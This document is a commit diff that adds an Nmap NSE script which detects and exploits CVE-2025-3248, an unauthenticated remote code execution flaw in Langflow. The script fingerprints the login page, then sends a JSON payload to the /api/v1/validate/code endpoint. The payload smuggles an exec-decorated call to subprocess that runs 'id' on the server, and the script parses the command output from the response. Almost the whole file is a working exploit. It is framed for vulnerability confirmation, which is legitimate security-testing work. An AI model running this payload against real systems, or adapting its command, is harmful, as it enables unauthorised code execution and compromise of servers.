Create Langflow-vuln-cve-2025-3248.nse

creation

scripts/Langflow-vuln-cve-2025-3248.nse

@@ -0,0 +1,98 @@
+
+local http = require "http"
+local stdnse = require "stdnse"
+local nmap = require "nmap"
+local string = require "string"
+
+description = [[
+Detects and exploits CVE-2025-3248 unauthenticated remote code execution in Langflow instances (versions < 1.3.0).
+
+The script first identifies Langflow web interface via a manual HTTP request.
+When Langflow is detected, the exploitation phase will try to execute Id command on the server to confirm the vulnerability.
+
+References: 
+* https://horizon3.ai/attack-research/disclosures/unsafe-at-any-speed-abusing-python-exec-for-unauth-rce-in-langflow-ai/
+]]
+
+
+-- @usage
+-- nmap --script=langflow-vuln-cve-2025-3248.nse <target>
+--@output
+--PORT     STATE SERVICE
+--7860/tcp open  unknown
+--| Langflow-vuln-cve-2025-3248_v2: 
+--|   CVE-2025-3248: Langflow RCE vulnerability confirmed!
+--|   Target: 127.0.0.1:7860
+--|   Command execution successful:
+--|_  uid=0(root) gid=0(root) groups=0(root)
+
+author = "Mathieu Dupas"
+license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
+categories = {"exploit", "vuln", "intrusive"}
+
+
+portrule = function(host, port)
+  return port.state ~= "closed" --Not efficient but intentional to avoid some false negatives due to Firewalls or Honeypots
+end
+
+action = function(host, port)
+   -- Debug output to confirm script is running
+  stdnse.print_debug(1, "Script started for %s:%d (state: %s)", host.ip, port.number, port.state)
+  
+  local login_path = "/login"
+  local exploit_path = "/api/v1/validate/code"
+  
+  -- Step 1: Detect Langflow
+  local response = http.get(host, port, login_path,{timeout = 15000})
+  if not response or not response.body then
+    return nil
+  end
+  
+  if response.body:match("<title>%s*Langflow%s*</title>") then
+    stdnse.print_debug(1, "Langflow detected on %s:%d", host.ip, port.number)
+    
+    -- Step 2: Send payload
+    local payload = [[
+{
+  "code": "@exec(\"raise Exception(__import__(\\\"subprocess\\\").check_output(\\\"id\\\"))\")\ndef foo():\n  pass"
+}
+]]
+    
+    local options = {
+      header = {
+        ["Content-Type"] = "application/json"
+      }
+    }
+    
+    -- HTTP.Post syntax : http.post(host, port, path, options, ignored, data)
+    local post_response = http.post(host, port, exploit_path, options, nil, payload)
+    
+    if post_response and post_response.body then
+      -- Grep the part between the single quotes
+      local command_output = post_response.body:match("b'([^']*)'")
+      
+      if command_output then
+        -- Unescape newline characters
+        command_output = command_output:gsub("\\\\", "\\"):gsub("\\n", "\n")
+        
+        return stdnse.format_output(true, {
+          "CVE-2025-3248: Langflow RCE vulnerability confirmed!",
+          ("Target: %s:%d"):format(host.ip, port.number),
+          "Command execution successful:",
+          command_output
+        })
+      else
+        return stdnse.format_output(true, {
+          ("Langflow instance running on %s:%d"):format(host.ip, port.number),
+          "Exploit sent but could not parse command output:",
+          post_response.body
+        })
+      end
+    else
+      return stdnse.format_output(true,
+        ("Langflow running instance detected on %s:%d\nExploit sent, but no response received."):format(host.ip, port.number))
+    end
+  
+  end
+  return nil
+end